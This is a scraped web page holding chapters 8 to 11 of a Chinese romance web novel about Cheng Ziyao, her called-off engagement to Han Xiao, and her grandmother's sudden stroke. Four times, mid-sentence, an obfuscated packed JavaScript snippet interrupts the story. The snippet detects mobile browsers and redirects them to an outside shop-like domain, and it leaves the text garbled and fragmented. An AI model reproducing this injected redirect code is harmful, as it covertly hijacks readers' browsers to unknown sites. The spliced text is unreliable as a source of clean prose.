;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340449|152614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被困住了。”韩逍呈大字躺着,蛮不讲理地甩锅说,“遥遥姐,你的床也太舒服了,我要和你换床!。” 程姿遥莞尔:“好啊,只要你不嫌麻烦。” 韩逍朝她举起了双手。 程姿遥以为是在示意自己拉他起来,便伸出了手握住对方。 然而她用了下力,少年居然没有配合她起身,而是在下一秒反用力,把她也拉倒了床上。 程姿遥倒在了少年身侧,等她反应过来时,发现韩逍也翻了个身,侧躺着与她四目相对。 少年的眼眸依然澄澈无邪,映出她怔愣的模样。 “遥遥姐也休息一下嘛,在外面站了这么久。”韩逍就这样侧躺着,近距离注视着她,笑容懒懒的,“遥遥姐用的什么洗发水?好好闻,薰衣草?” 程姿遥迟钝了几秒,说:“……嗯,你要是喜欢的话,等下我拿给你。” 韩逍唇畔的笑意更深了,他闭上眼睛说:“我头发短,自己用又闻不到,只要遥遥姐用就好了。” 程姿遥盯着他鼻尖那颗淡痣,渐渐也犯起困了,用鼻音应了声:“嗯。” 韩逍睁开了眼,话锋一转:“程叔叔说的究竟是什么事?感觉你今天心情不好,肯定和程叔叔脱不了干系。” “也没什么。”程姿遥合上眼,声音很轻,“爸爸让我转艺术生……” “艺术生?为什么?”韩逍微微睁大了眼睛,“你不是在年级排名很高吗?老师不还说下学期分科随便选?” 程姿遥没说话了,像是真的睡着了。 韩逍从床上坐了起来:“我要去找程祖母。” “小逍。”程姿遥拉住他,眼中是一片冷静,“奶奶知道的。” “怎么会?” 程姿遥也撑着慢慢坐起来了,理了下睡乱的发丝,淡淡地说:“怪我自己吧,今天爸爸问我未来志愿的事,我说我以后想学商或是经管。” 原本只是一个不成熟的试探,没想到就彻底没有回旋的余地。 她本以为自己足够优秀就能吸引父亲的目光,却不想自己越优秀父亲对她就越忌惮与讨厌——从前她也想过这个可能,但始终心存侥幸,今日总算彻底撞了南墙。 她的回答正中了程祖皓的雷区。 闻言,少年的惊讶像暮云似的渐渐被眼底的夜色覆盖,他张了张嘴,欲言又止,似是也明白过来程祖皓这般安排的意思,陷入了片刻的沉默。 程姿遥平躺回去,重新闭上了眼,想要小睡一会儿。 就在她快睡着的时候,她听韩逍开口说:“遥遥姐,你相信会有那么一天吗?” 程姿遥半睁开眼:“嗯?” 韩逍勾着她的手指,仰头看着天花板,语气透着少年意气:“总有一天,我们的人生不再受控于人、被人安排,没有任何人能限制我们,什么韩家程家都和我们没有关系。” 程姿遥半困半醒,笑了笑:“真的能吗?” 刚刚站在桥上,她感觉每一声寒声的呜咽都似乎是父亲话语的回响。 冷漠、凌厉、无情、充满命令的意味…… 让她有那么一瞬间,觉得人生看不见未来,整个世界都是灰暗的。 好在韩逍出现了。 “能的!”韩逍低头望向她,笑容明亮而有力,话语坚定又自信,“我实现给你看,到时你要好好夸我!” “好啊,依你……” 程姿遥了解韩逍,他是不达目的誓不罢休的人,只要他有这个想法,有朝一日一定会去冲破这个名为“家族”的牢笼。 他有那个毅力,也有那个能力,他从小就很聪明。 她期待着那一天。 但她忘了一件事。 ——他们的婚约,本也是牢笼的一部分。 所以多年后,当她听到韩逍要解除婚约时,既意外,又没那么意外。 8. chapter 08 “遥,你怎么才来!” 庆功宴上热闹非凡,程姿遥刚到会场,还没来得及从侍者手上接过一杯香槟,就听到一声意料之内的不满。 一抬眸,果然看到合伙人紧皱的眉头,程姿遥不由失笑。 她的合伙人也是一位女性,与她年龄相仿,名叫唐歆,是国内知名美院毕业的高材生,今天她获奖上台时穿的礼服就是出自这位合伙人之手。 唐歆酷爱强对比色系,今日穿了一条红黑色系的蛋糕礼服短裙,妆容酷酷的,一副高岭之花的模样,散发着拒人于千里之外的气场。 “不好意思,有点事耽误了。”程姿遥不紧不慢地拿了一杯香槟,与面前的女子碰了下杯,微微一笑,“但看来还是赶上了。” 唐歆没好气地翻了个白眼,阴阳怪气地说:“你还敢说?我这张脸赔笑都快笑烂了。” 程姿遥佯作震惊:“你还会赔笑?这不一向是我的工作吗?” “没吃过猪肉还没见过猪跑?”唐歆摆了摆手,“当然咯,我可不保证效果如何,反正我是打着你的名号气了些人走,谁叫你这么晚来。” 程姿遥好脾气地说:“没事,你看不惯的人我肯定也处不来,气走最好。” 唐歆面露嫌弃:“说是这样说,背后你不还是会去圆回来?啧,你这个人就是市侩,骨子里的生意人。” 程姿遥笑了:“我们现在的生意不也越来越大了嘛?” “但愿别是昙花一现咯。” 唐歆张望了一下,问:“韩逍呢?我可都听Andy说了,我们还以为你为爱而鸽了呢。” 程姿遥的笑容僵了下,好在此时对方低头喝了一口香槟,没有看她。 暗潮汹涌着太多复杂情绪的僵硬稍纵即逝,程姿遥似是无奈地叹了一口气:“我就知道,Andy肯定会到处宣扬。” “Andy嘴巴大,但还是知道分寸,只私下跟我说了,提到韩逍时眼睛都在放光。”唐歆眼珠子转了下,有几分揶揄,“当然,那会儿叶莹莹和小白也在,小白可就惨咯,眼里明显没光了,叶莹莹也算个知冷知热的经纪人,找个借口把他带走了,怕等下看到你和韩逍成双登对过来,小白要是哭了她可难收场。” 程姿遥说:“别开脑洞了,小白晚上还有通告,都是提前定好的。” “更可怜小白了。”唐歆耸了耸肩,不忘初心地问,“你还没回答我呢,韩逍人呢?” 程姿遥听着自己玩笑似的声音仿佛来自远方:“他有事,也有‘通告’要赶。” “这么忙?不是在自家企业里上班吗?真是打破我对富二代的刻板印象。” 程姿遥笑了笑。韩家自然不舍得让小少爷受累,给的都是闲职,韩逍真正关心和忙碌的是别的事情,只待羽翼丰满。 这些,韩逍对她只字未提。 虽然她早已有所察觉,但是向来是睁一只眼闭一只眼,不追究也不戳破。 大堂里贵宾如云,程姿遥始终保持着恬淡得体的微笑,自如地穿梭在人流之中,与来者一一碰杯、交谈、交换名片,举止投足间都透着从容与优雅。 ——谁能想得到,在一个小时前她刚被悔婚。 就像韩逍怎么也想不到,在他说出那句“我们解除婚约吧”之后,她只是稍稍愣神,随后便十分平静地再次说出了他最喜欢听到的话语:“好,依你。” 迎着对方惊愕的目光,她微微一笑,隐约听到心底传来一声几不可闻的细响。 在那一刻,早就内伤累累的宝珠终于碎了。 “程小姐,初次见面。” 不知道是到了第几个人,在碰杯后对方并没将手收回去,富有磁性的声音和带着鼻音的咬字似乎有些耳熟。 程姿遥略感疲惫,但温婉的笑容没有丝毫破绽:“你好,请问怎么称呼?” 眼前的男人看起来年龄与她相仿,面容俊朗,生了一双好看的凤眼,戴着一副垂细链的金边眼镜,显得十分斯文,他身材颀长,穿着一身笔挺的蓝灰色西装,文质彬彬,透着一股精英的气质。 刚才一番觥筹交错,早就把不善交际应酬的唐歆劝退了,人不知道去了哪里,现在只剩下男人与程姿遥二人交谈。 男人微微一笑,薄唇轻启:“Richard。” 在这样的场合却不说真名,着实有点怪异了,程姿遥只有从名片包里掏出自己的名片,主动递上去:“幸会。” 对方这次倒是按套路出牌,回递了一张名片,只见上面姓名一栏落着“顾骞禹”三个字,再结合着title看,程姿遥差不多知道他是谁了。 顾家在她父母那辈就转去了加拿大发展,前些日子就听说又想迁部分产业回国,派了顾家少当家过来,看来就是眼前这位了。 就在程姿遥思忖的片刻,就听闻顾骞禹笑了两声:“你果然不记得我了。” “?” “我在猜到第几步你想回忆起我这个路人甲,目前看来是我太自作多情了,那我再提供点线索吧。”仿佛在玩字谜游戏,顾骞禹挑眉,“NYU?” 程姿遥愣了下。 随后,男人压低了声音:“你男朋友还在给人当顾问吗?” 程姿遥微微睁大了双眼,但很快恢复如常,微笑里却多了疏离:“原来是你,纽约热心市民Richard。” 顾骞禹笑起来:“实际上我并不是纽约市民。” “那希望未来有机会你能成为热心的风城市民。”程姿遥的笑容不变,“抱歉,我的合伙人有点迷糊,不知道去哪儿了,我得去找她一下,失陪了。” 顾骞禹却是一叹:“没想到你真的甘心只做个设计师,那当初在美国,你又是在帮谁暗中奔走呢?” 程姿遥回头看他:“我不知道你在说什么。” “哈哈,你真的很喜欢来这一套。放轻松,我不会告诉别人的。”顾骞禹扬了扬手中的名片,“我能再联系你吗?” “如果顾先生有必要的话。” “Sure.”顾骞禹也回以微笑。 转过身的瞬间,程姿遥嘴边的笑容渐渐隐去。 她在大厅的一角找到了因社交量严重超标而陷入“自闭”的唐歆。 “嗨,还好吗?”程姿遥拍了拍合伙人的肩。 “茨威格曾经比喻过,人就像一个装满液体的瓶子,疯狂闹腾后放在桌上静置,就会看到沉淀物。”唐歆面无表情,“‘经过动乱后的冷静思考,可以凸现出人性中不为人知的潜藏部分。’” 程姿遥笑了:“那你沉淀出来了吗?” 唐歆幽幽地说:“沉淀出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340450|152614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个结论:世界毁灭吧!” 程姿遥送来了好消息:“后面没什么事情了,我们可以走啦。” “太好了!”唐歆瞬间恢复了些许精神,“你拉到订单了吗?” 程姿遥失笑:“还说我市侩,我看你这个美院第一才女也被我染上铜臭气了。” “毕竟现在当老板了嘛。”唐歆揉了揉发涨的额角,“我听说刚才和你搭话那个男的就是个不错的冤大头,你没过来之前这边有好几个人都在叽叽喳喳他呢。” 程姿遥心想真不知道顾骞禹知道自己在他人眼中的评价会怎样,一边回答:“他没说什么,就是打个招呼,认识了一下。” 她也不算撒谎,实际上今天确实是他俩第一次正式认识,以前她只知道他叫Richard。 ——也难怪她没有马上认识顾骞禹,因为这之前他们也才仅仅见过两面。 第一次见面时是她大二,韩逍还在国内念高中,所以她一个人在纽约独来独往,拥有了一段相对自由的时光,经常抽空去NYU旁听经管的选修课,而顾骞禹就是NYU经管的学生。 当时顾骞禹好像是班上的明星人物,程姿遥常常看他在课堂上发言,口齿伶俐,逻辑清晰,时不时赢得满堂喝彩。 与之相比,作为一个旁听生,她十分低调,从来不主动发言,如果不是后来有一次她的笔记本被顾骞禹捡到,他们应该几学期都不会有任何交集。 那次课上,顾骞禹对一个模型的应用案例作了汇报,并大胆地提出了改良思路,其中有一两处她觉得有待斟酌,思考时随手记在了笔记本中,想来是被看到了笔记所以引起了对方的注意。 第二次见面就是两年后,韩逍已经来美国了,与她住在一起,而她也已经大四,忙于实习,好不容易迎来了圣诞节假休息,平安夜晚上却发生了一些事。 圣诞节那天,她拿着早就取好的电影票,站在路边久久凝视着在马路对面咖啡厅内与女生们谈笑风声的韩逍,手机界面还停留在与韩逍的聊天界面——男生彻夜未归,临时说有要紧事处理。 就在这时,顾骞禹出现了,热情地跟她打了招呼,还提出愿意代替韩逍和她一块儿看电影,作为电影票的回报,他可以告诉她一些情报。 纽约的华人圈子说大也不大,出于一些顾虑,程姿遥很少在圈子里主动社交,而顾骞禹不同,长袖善舞,早就通过人脉把她和韩逍打听清楚了。 本来她自认为一些事情躲过了家族的耳目,自然也不会被顾骞禹调查到,可没想到世事就是那么巧,当时她联系的一位资方正好就是顾骞禹的表亲。 说实话,程姿遥觉得顾骞禹这个人有点莫名其妙,比韩逍还要令人摸不着头脑。 临走的时候,程姿遥将香槟酒杯放回侍者的托盘中,抬头正好看到顾骞禹在不远处与两三个人交谈。 许是感受到了这边的目光,顾骞禹抬起了头,微微一笑,对着她的方向稍稍抬手做了个举杯的动作。 唐歆惊奇:“冤大头是在和我们打招呼吗?” 程姿遥面不改色:“想多了,是在提示waiter换杯而已。” ——她不需要引起任何人的兴趣。 她人生中的变量,有韩逍一个,就够了。 已经足够令她精疲力竭。 9. chapter 09 庆功宴结束后,唐歆打车回家,而程家老宅派来的车早已在酒店外等候。 当初为了筹办XYAO工作室,程姿遥从祖宅搬了出来,住进了母亲留给她的一处小独栋,离XYAO工作室很近,平时上班方便,到了周末和节假日才会回老宅,今天正好是周五。 在车上,程姿遥一一处理庆功宴上的“余韵”,她需要依次通过好友申请并分门别类给人加上备注或名片照片,然后礼貌地回复那些没法来庆功宴又表示歉意与祝福的朋友。 当看到顾骞禹的好友验证时,她顿了顿,还是点了通过,对方可能在忙也可能比较识趣,没有再来主动讨嫌。 司机张叔是程家的老员工了,看着程姿遥从小长大的,乐呵呵地说:“小姐出身好性格也好,走哪儿人缘都差不了,谁会不愿意和小姐这样的人交朋友呐?” 程姿遥说:“点头之交而已,都比较肤浅。” 张叔道:“害,人生难能有知己啊!交心的朋友一两个就够啦。说起来,叶家小姐什么时候回国呀?我都好多年没见过她啦,国外再好能有家里头舒服吗?” “她……”程姿遥刚笑着开口就停住了,因为想起来好友之前说的是等半年后她和韩逍订婚就回来。 也许是心有灵犀,正被谈及的某人正好打了个电话过来,掩饰住了她的不自然。 程姿遥接通电话:“喂?正和张叔提到你呢。” “提我?不会是在翻我偷开他的车进沟里的黑历史吧?”电话那头传来一个明媚的女声,大咧咧的,光是听着都活力四射。 程姿遥笑着说:“本来没有想到的,你自己一提,我倒是想起来了。” 叶沁萱是她初高中同学,而叶家也是风城本地做生意的,家业虽与程、韩两家不能比,但这几年往娱乐产业发展后,势头不错,叶沁萱的叔叔是开娱乐公司的,堂姐叶莹莹是一名经纪人,白子慕就签在她名下,是程姿遥引荐的。 叶沁萱哼哼唧唧了一阵,问:“你那边大晚上了吧,忙活完了?” 程姿遥有些疲惫地靠着车窗:“嗯,你呢?” “我也刚忙完采访。”叶沁萱语气愤愤,“要是让我爸知道我为了这个破工作,现在都没吃上午饭,他肯定要来这里揪着我回去。” 叶沁萱在风城读的本科,研究生去了英国,毕业后没回国,留在了英国工作。 两人之间隔着时差,程姿遥这边已是夜晚,而叶沁萱那边已是午后。 程姿遥问:“身上有没有带着巧克力或小零食?” 叶沁萱说:“带啦!自从上次你提醒我之后,我就在我每个包里都装了块巧克力,今天拿出来一吃,居然都融了,搞得手上脏兮兮的,可恶心了。” “那看来得提醒你随身再带包湿纸巾。” “要不以你为样本研发一个智能AI吧,作成挂件。”叶沁萱又开始天马行空,“这样每天可以提醒我这又提醒我那,我再也不会忘东西了。” 程姿遥说:“那不如回来吧,也省得叔叔抽时间去抓你回来了。” 叶沁萱笑了下:“等你订婚吧,你订婚了我就回来。” 程姿遥笑容稍褪:“我不订婚也不影响你回来呀。” 叶沁萱笑嘻嘻地说:“你订婚我不得待久一点啊?我那个光头BOSS肯定不愿意批假,就只有辞了咯。到时我也是经过社会捶打的人了,回来看谁敢笑我是娇生惯养的大小姐。” 程姿遥只当她在外面自由惯了,不愿回来被叶家束缚,拿自己当挡箭牌:“捶打这么多年,还没捶打够?” “我看还不够,还没捶出大无畏的精神来。”叶沁萱半真半假地说,“安啦,我说到做到,到时我的份子钱一定是全场最高!” “嗯……” 快到老宅的时候,程姿遥又接了一通电话。 来电的是在程老太太身边照顾多年的兰姨:“小姐,到哪儿了?” 程姿遥看了下路况:“大概还有十几分钟就到了,兰姨你不用等我,去休息吧。” 兰姨是江南人,虽然五十多岁了,但说话仍是吴侬软语的:“不困,兰姨等你回来,给您热点宵夜,庆功宴肯定没吃饱吧。” “那有劳兰姨了。”程姿遥问,“奶奶睡了吗?” “老夫人说要等您,但还是撑不住,刚睡下了。” 程姿遥无奈:“这都几点了,昨天她不还说有点胸闷吗?找医生看了吗?” “还没呢,老妇人说这两天热,不想折腾。”兰姨在另一头笑了:“姿遥小姐得奖,老夫人高兴,叫人给小姐打了一条金链子,说是今晚就能送到,说不定等下在门口会遇上。” “怎么这么急?”程姿遥有些意外,“不是早就给过了吗?” 今天她登台时身上的那颗鸽血红宝石就是祖母送的。 “公布是公布,领奖是领奖,不一样。”兰姨温声解释说,“小姐工作忙,老夫人怕明天再取,您就不在家了。” 程姿遥心口一暖,说:“之后我会常回来的看看的。” 车缓缓驶近程宅,远远地,程姿遥就看见程家大院的门口站着一个人影,只看得到一个侧影,是一个身材颀长的男子,门前昏暗的庭灯将他的影子拉得老长。 程姿遥参加庆功宴之前就喝了些红酒,到宴会上又喝了香槟,虽是不多,但看远处眼有点晃,她盯了那个影子好一会儿,只觉得越看越像韩逍。 他怎么来了? 车停稳,张叔忙着把车上堆积如小山的庆功宴贺礼从后备箱搬下来,程姿遥下了车,径自走向了那个身影,带着些许疑惑的语气唤了一声:“……小逍?” 闻声,那身影怔了下,随即朝她转了过来。 当看到对方的正面后,程姿遥瞬间清醒了,心里暗道不好。 她走近后才发现,对方比韩逍要矮一点,可能是门口位于上坡的关系,方才在远处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340451|152614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才没看出来。 也是一个年纪很轻的男生,长相清俊,眉眼隐隐与她有两分相似,看起来不苟言笑,穿着一身板正的深色西装,领口遮得很严实,有几分禁欲的味道。 少年老成。 这是程姿遥脑袋里蹦出来的第一个词。 ——不为别的,只是因为她清楚地知道,对方只是一个才十八岁的少年。 或许是因为他是家里默认的继承人,所以没成年就已经开始接触家族业务。 别人这个年纪的少年郎还在穿潮牌T恤卫衣,穿各种联名的球鞋,而他已经开始穿起西装革履,眉宇间也是有别于同龄人的成熟稳重。 程黎生的语气明显带上几分不悦:“你把我认成了韩逍?” 程姿遥揉了揉额角:“不好意思啊,晚上喝了点酒……这么晚了,你怎么过来了?” 程黎生把手中一直提着的礼盒口袋递给她:“听说你的设计获奖了,恭喜。” 这下轮到程姿遥愣住了,她接过那印着虔程集团旗下珠宝公司LOGO的礼品袋,联想起车上兰姨打来的那通电话,顿时什么都懂了。 原来来送链子的是程黎生。 她同父异母的亲弟弟。 程姿遥心里暗叹一声,脸上挂上温和的微笑,她:“谢谢,今晚住这里吗?” “嗯。” “爸爸和阿姨没来吗?” “没。”程黎生有些生硬地说,“进去说话可以吗?为了等你,我站了好一会儿了。” 程姿遥说:“抱歉。” 程黎生蹙了蹙眉,看起来还是不大高兴。 进了门,二人先到食厅坐下来喝了口兰姨煲的热汤,是程姿遥喜爱的南杏仁雪梨汤,微甜,但显然不太符合程黎生的口味,他喝了两口就没喝了。 程姿遥看他放下了碗勺,为了让气氛不那么尴尬,主动搭话问:“龙城那边怎么样?是不是比风城凉快一点?” 程黎生淡淡回:“差不多。” “待几天?” “明天就走,要办的事都办完了。” “学校那边呢?不上课?” 程黎生看了她一眼:“暑假。” “噢……”程姿遥略有些心虚地低头喝了一口汤。 相对沉默半晌,程黎生盯着天花板上的吊顶,突兀地开口:“如果你想回龙城……” “风城很好,我已经习惯了这里。”程姿遥缓缓起身,温声说,“忙了一天,我有点累,先回房间洗漱休息了。” “爸说你和韩逍的订婚要开始有打算了。” “这件事,明天等奶奶醒了,我自会有交代。” 却不料程黎生直接地说:“韩逍自私自利,你和他结婚不会幸福的。” “嗯,你说的没错。” “那你……” “我说了。”程姿遥只觉身上更加疲惫了,她叹了口气,“明天我会有交代的。” 10. chapter 10 程姿遥是被兰姨敲门喊醒的。 程老夫人规矩严,小辈在家得按时起床吃早饭,吃完后再回房补觉都行。 她简单洗漱,换了一身简单朴素的淡紫色长裙,乌发用檀木簪随意在后脑勺挽了一个髻,打扮得比较随意居家,一进食厅就和西装革履,打扮得一丝不苟的程黎生形成强烈对比。 作为长姐,她不禁有些惭愧。 程老夫人倒不大介意,见她进来,招呼道:“小槿,来我右边坐着。” “奶奶,早上好。”程姿遥坐到了程老夫人右手旁,又看向坐在对面正对着面前的粥一脸正色的程黎生,“黎生,早。” 程黎生回应:“早。” 程老夫人的笑容别有深意:“真好,你俩姐弟在我一左一右……风风转眼都这么大了,小槿也成大设计师了。” 程姿遥笑说:“哪有这么夸张,奶奶你捧杀我了。” 程老夫人七十出头了,穿着一身暗紫色的旗袍,花白的头发盘得工整,看起来很有气质,只是不知道是不是没休息好,脸色有点差,好在精神好。 她亲昵地拉着孙女的手:“都在全国得奖了,还不是大设计师?昨晚我睡得早,那链子你戴着合适不?” 程姿遥说:“昨天我也累了,回房洗漱完就睡着了,还没来得及拆呢。” 程老夫人看了程黎生一眼,说:“那一会儿赶快拆了戴出来看看,那可是你弟弟亲自把关的呢,听说筛了好几轮图纸,连夜加工出来的呢。” 程黎生面无表情:“正好借着这个机会试炼公司新人。” “黎生,谢谢你,有劳你费心了。”程姿遥思忖了下,说,“我也不是很饿,现在就回房把链子戴上吧,也正好给奶奶瞧瞧。” 程老夫人道:“也好,不过别耽误太久。” 程黎生埋头吃着早餐,没有表态。 程姿遥心里清楚,祖母总是想方设法想要缓和他们姐弟之间的关系,尤其是这一两年。而程黎明对她的态度也不像小时候那般警惕,有时候她也能感受到对方的亲近之意。 但奈何两人缺少共同生活的经历与朝夕相处的默契,怎么都不能避免尴尬与拘束。 程姿遥回到房中,拆开昨夜程黎生递给她的那个礼盒,微微一愣。 只见精美包装之下,是一条做工精巧的金项链,坠子雕的木槿花生机勃勃,栩栩如生,每朵花的花蕊都镶着一颗淡紫玉石,在光线下熠熠生辉。 金饰容易做的老气,但这条项链无论从链身还是挂坠都采用了比较新潮的设计,通体成色不显俗气,可见在工艺上很是下了一番心思,就连日常也可以自然地戴出去。 程姿遥想着这条链子与昨日韩逍送她的那副耳饰异曲同工,本想一同戴上给奶奶瞧瞧,但拿耳钉的手一滞,终究还是收了回去,把那副耳钉收到了抽屉里。 果然,程老夫人对这份“贺礼”十分满意。 “真不错啊。”老夫人笑得慈祥,眼角都是折叠的时光,“风风眼光真不错,这条项链与小槿很相称,把我送给小槿的那条红宝石都比下去了。” 程姿遥温声说:“是啊,黎生眼光不错。” 程老夫人说:“中午叫小逍过来吃饭吧,正好风风也在,未来就是一家人了,多聚聚。” 程黎生冷着张脸:“谁和他一家人?” “哎哟,你看看,终究是没成年的人,孩子气露出来了,小时候你和小逍的合影每次看我都忍不住笑。”程老夫人笑着摇了摇头,撑着手杖站了起来,冲着门外唤道,“淑君啊,把以前有风风和小逍的影集拿过来一下,我想再看看。” 程姿遥郑重地开口:“奶奶,其实我和小逍……” 程黎生像是预感到了什么,望向她的目光微微一怔。 然而,就在这时,变故发生了—— 只见方才还呼唤兰姨拿相册的程家祖母突然身子一歪,瘫倒在木椅上,五官紧皱,看起来像是承受到了巨大的痛苦,整个身体都在微微颤抖抽搐。 程姿遥和程黎生的脸色尽失:“奶奶!” …… 风城高级私人医院。 “遥遥姐!”韩逍匆匆赶来,“程祖母怎么样了?” 程姿遥坐在手术室前,身上还穿着早上那身裙子,只是发髻散了,一头乌发略显凌乱地披散着,长发之下的肩背看起来是如此单薄。 她将脸埋在手里,没有抬头。 韩逍皱了下眉,随后伸出了手,似是想要将眼前人揽入怀中。 然而,就找他刚抬起手的那一刻,程黎生的声音就响起,冷冰冰的:“是脑梗。” 韩逍收回了手,抬眼看向程黎生,脸上的关切敛去:“你也在。” 程黎生也皱起了眉,一副十分嫌恶的样子:“对,我在,所以你不必在这儿凑着了。” 韩逍正要反唇相讥,就听程姿遥终于开口:“你怎么来了?” 见她脸上没有泪痕,只是脸色有些苍白憔悴,韩逍眉头舒展开来。 “兰姨通知了我,让我来陪陪你。”他坐到了女子旁边,伸手握住她的手,一片冰凉,“还有我呢。” 程黎生撇了撇嘴,眉头皱得更紧了,把脸偏到了一边,眼不见为净。 程姿遥垂着眼,将手抽了出来,用着只有两人能听到的声音说:“谢谢。” 韩逍动作一滞,语气如常:“遥遥姐,不用和我这么客气。” 手术室灯灭,取栓手术结束,程祖母被推了出来,安排进了ICU病房。 虽然目前已经暂时没有生命危险,但昏迷也要两天左右才能醒,而且程祖母本身年纪已经很大了,预后并不太乐观。 兰姨回老宅拿换洗的衣物了,程黎生则给远在龙城的程祖晧打电话通报情况。 病房外一时只剩下了程姿遥和韩逍两人。 韩逍看着一直盯着窗户内的程姿遥,温声说:“遥遥姐,我陪你去吃点东西吧。” “我不饿。”程姿遥突然问,“解除婚约的事,你急吗?” 韩逍怔了怔,迟疑了片刻,说:“程祖母会突然病重,这个节骨眼两家一时半会儿也不会提吧。” “嗯,本来我是打算今天跟奶奶商量这件事的。”程姿遥轻声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340452|152614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,“先按下不提,维持现状吧,等奶奶病情稳重了再说。” 韩逍眼色一暗,不置与否,不知道在想什么。 医院过道的消毒水味好像更刺鼻了几分。 过了会儿,程姿遥收回望向病房内的目光:“送我回家吧,回我自己那里。既然决定暂时维持现状,那就不要露出破绽。” 韩逍问:“不回老宅吗?” “从我家到医院要方便点,而且奶奶这样,我爸和秦姨应该要赶来住那儿。” “你每天来回医院我来接送你吧,我怕你开车出事。” “也好。”程姿遥的脸上毫无涟漪,冷静得像是在分析客户需求,“有我这边给你作掩护,你动的那些手脚不至于太快被你家里发现。” 闻言,韩逍又皱起了眉头,不发一语。 私立医院注重环境打造,室外是园林式设计,花圃中的花卉隔三差五就要换一轮,因此总是保持着新鲜娇艳,又恰逢此时晴空万里、阳光正好,更是一片姹紫嫣红、赏心悦目。 但两人却相顾无言,无心欣赏,各自怀着各自的心思,气氛有些凝重。 一直到了车上,韩逍才像忍不住似的问:“你什么时候察觉的?” “四五年前吧,在美国的时候。”程姿遥的语气云淡风轻,“李崇昂和周云廷是你的合伙人?” 韩逍神情古怪:“嗯,算是吧。” 程姿遥没再追问。 韩逍看了她一眼:“既然遥遥姐都察觉到了,那为什么不问我?” “问你的话,你会告诉我吗?” 韩逍嘴角收紧,陷入沉默。 程姿遥微微一笑:“我一直知道你想自立门户。”只是她一直以为自己也属于“门户”内的范畴罢了。 “……所以你答应得这么爽快,是成全我?” “如你所愿吧,都依你。”说着,程姿遥靠着车窗开始闭目养神。 韩逍眼神一沉,无端感到一阵心烦意乱。 他平时笑起来尽显乖巧纯真,洋溢着爽朗的少年气质,好像和谁都能打成一片。 而此刻神情阴沉下来,撕开了以微笑为名的防护罩,锋芒便显露出来,五官棱角都透着股森冷,散发着不易靠近的气场。 良久,在红绿灯停车的时候,韩逍才又缓缓开口:“遥遥姐,就像你说的,我需要掩护,而和你在一起的时候是韩家对我最放松监管的时候。” “嗯。” “现在程祖母这边出了事,我如果不天天在你身边,太可疑了,而且我怎么知道你不会告诉我家里人呢?你不如帮人帮到底,送佛送到西。” “怎么说?” “不如……”韩逍看向她,脸上重新露出微笑,“让我们回到在美国时的日子吧。” 程姿遥这才睁开了眼,对上的是她毫不陌生的笑容。 那带有蛊惑性的、淬了毒的笑容。 是淋了蜜的刃口,瓶身精美的毒酒,伪装完美的陷阱。 曾一次次的,诱她沉沦,走进开满花的深渊。 “遥遥姐,我想搬过来和你一起住。” 11. chapter 11 高三的时候,程姿遥收到了来自大洋彼岸的录取通知书。 像他们这种家庭,对孩子的才艺其实是相当注重的,哪怕是纨绔如韩凌,也能人模人样地弹得一手好钢琴。 她小时候还在龙城时就开始学习画画,自母亲去世后,她停学了两年,直到祖母在风城才重新为她安排了当地的老师,并且还给她请了风城音协的老会长亲自教她击奏扬琴。 程祖皓让她走艺术生的路,她在绘画和音乐之间选择了前者。 从分科后,她的作息就和班里的其他同学不同,不过像他们这种私立高中出国读大学的不在少数,所以到了高三的时候她也不至于显得那么突兀。 语言成绩对她不成问题,准备作品集和专业笔试面试那段时间她几乎没怎么去过学校,一度也十分不安,但现在收到了offer,她总算心里一块大石头落地了。 ——她要离开这里了。 早在那天韩逍说以后要摆脱家族控制的时候,少年就向她建议,未来相约出国留学,天高皇帝远,程韩两家鞭长莫及。 也是因此,她在选大学时考虑了韩逍对于留学的志愿倾向,没有选择自己更喜欢的欧洲国家,而是在所有offer里选了位于纽约的帕森斯。 第一个得知喜讯的自然是程家老太太。 祖母坐在紫檀太师椅上,伸手揽她入怀,一向不苟言笑的老太太竟落下了泪:“我的小槿长大了,出息了,恩禾在天上也会为你骄傲的……” 程姿遥出国最舍不得的就是祖母,一时也红了眼圈,没说话。 